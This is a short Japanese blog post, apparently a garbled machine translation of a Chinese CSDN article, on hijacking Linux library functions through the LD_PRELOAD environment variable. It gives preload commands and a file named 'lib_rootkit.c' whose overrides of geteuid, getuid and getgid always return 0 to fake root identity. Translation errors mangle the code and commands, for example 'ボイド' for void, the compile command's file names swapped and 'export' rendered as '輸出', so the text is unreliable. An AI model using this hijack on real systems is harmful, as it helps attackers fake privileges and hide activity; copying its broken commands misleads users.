0x01の組み込み---使用環境変数は、関数ハイジャックを達成するために

コンパイル:gccの-fPIC -shared -o xxx.c xxx.so

LD_PRELOAD環境変数はダイナミックライブラリをロードするために使用され、最も優先度の高いダイナミック・ライブラリがロードされ、通常の状況下では、順序がロードされたLD_PRELOAD> LD_LIBRARY_PATH> /etc/ld.so.cache> / libに>は/ usr / libです。

  1. 輸出LD_PRELOAD =絶対パス/xxx.so //ロードの環境変数

  2. 解除LD_PRELOAD //環境変数を閉じます

  3. 環境変数に渡さ./xxx lsldjqlasdasda //単一のプログラム/xxx.so LD_PRELOAD =絶対パス

 

lib_rootkit.c:

書式#include <SYS / types.h>に

uid_t型geteuid(ボイド){戻り0;}
uid_t型GETUID(ボイド){戻り0;}
uid_t型GETGID(ボイド){戻り0;}

 

公開された31元の記事 ウォン称賛17 ビュー10000 +

おすすめ

転載: blog.csdn.net/q759451733/article/details/102811595